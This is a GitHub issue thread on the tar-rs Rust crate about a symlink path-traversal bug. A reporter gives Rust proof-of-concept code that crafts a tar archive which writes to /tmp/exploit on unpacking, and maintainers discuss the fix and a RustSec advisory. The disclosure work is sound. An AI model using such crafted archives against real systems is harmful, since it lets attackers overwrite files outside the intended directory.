unpack_in still allows creating files outside the directory

[taralx]

The following tar construct will write to /tmp/exploit:

extern crate tar;
use std::io;
use tar::{Archive,Builder,Header,EntryType};

fn main() {
    let mut buf = Vec::new();
    {
        let mut builder = Builder::new(&mut buf);

        let mut header = Header::new_gnu();
        header.set_path("symlink").unwrap();
        header.set_link_name("/tmp/exploit").unwrap();
        header.set_entry_type(EntryType::symlink());
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty()).unwrap();

        let mut header = Header::new_gnu();
        header.set_path("symlink").unwrap();
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty()).unwrap();

        builder.finish().unwrap();
    }

    Archive::new(&*buf).unpack(".").unwrap();
}

[alexcrichton]

cc @lucab this was originally rejected by 85b6399 but I think #90 may have started allowing this? Mind helping to take a look?

[lucab]

Right, I think this is my fault as I didn't take into account such case, and the absolute link test is also blind to this. The problem is that we rely on checking parents for path escaping, because std::fs::canonicalize only works on already existing paths. It is not enough in this case.

I have an initial fix in this local branch https://github.com/alexcrichton/tar-rs/compare/master...lucab:ups/chase_link?expand=1. However I fear it could be still missing some corner cases (and I'm currently traveling). Should I submit anyway a PR with the above?

[alexcrichton]

@lucab yeah I'm ok sort of patching up behavior here over time, a PR would be most welcome!

[taralx]

I'm not sure I have time to make a PR, but I certainly recommend that unpack should not write to symlinks unless the user says that they expect that behavior. It's almost never what you want.

(Arguments can be made for just not following symlinks at all.)

[mbrubeck]

The exploit given above no longer works on master. git bisect shows it was fixed by d3d14ad (#156).

[mbrubeck]

A security advisory was published at the time:

https://github.com/RustSec/advisory-db/blob/master/crates/tar/RUSTSEC-2018-0002.toml